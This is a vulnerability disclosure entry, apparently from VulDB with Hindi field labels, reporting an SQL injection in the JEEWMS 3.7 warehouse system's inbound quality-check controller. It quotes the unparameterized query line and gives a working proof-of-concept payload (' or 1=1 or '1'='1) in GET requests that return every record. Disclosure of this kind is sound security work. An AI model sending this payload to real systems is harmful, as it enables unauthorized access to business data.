| शीर्षक | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| विवरण | JEEWMS v3.7 WmInQmIController (收货质检/inbound quality check PDA interface) concatenates user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and access all data records.
Vulnerable code (WmInQmIController.list, line 983):
hql = hql + " and (imNoticeId like '%" + searchstr + "%' or imCusCode like '%" + searchstr + "%' or tin_id like '%" + searchstr + "%' )";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wm_in_qm_i rows instead of the filtered set (verified live: normal request with searchstr=IMP001 returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
PoC:
GET /wmInQmIController.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wmInQmIController.do?username=test&searchstr=IMP001 -> only matching record
Vulnerable code: src/main/java/com/zzjee/wm/controller/WmInQmIController.java:983 |
|---|
| स्रोत | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| उपयोगकर्ता | HYap (UID 101011) |
|---|
| सबमिशन | 04/09/2026 11:38 AM (1 महीना पहले) |
|---|
| संयम | 11/10/2026 10:01 AM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 416558 [erzhongxmu JEEWMS तक 2026.09.27-W39 Inbound Quality Check Pda Interface WmInQmIController.java WmInQmIController.list searchstr SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|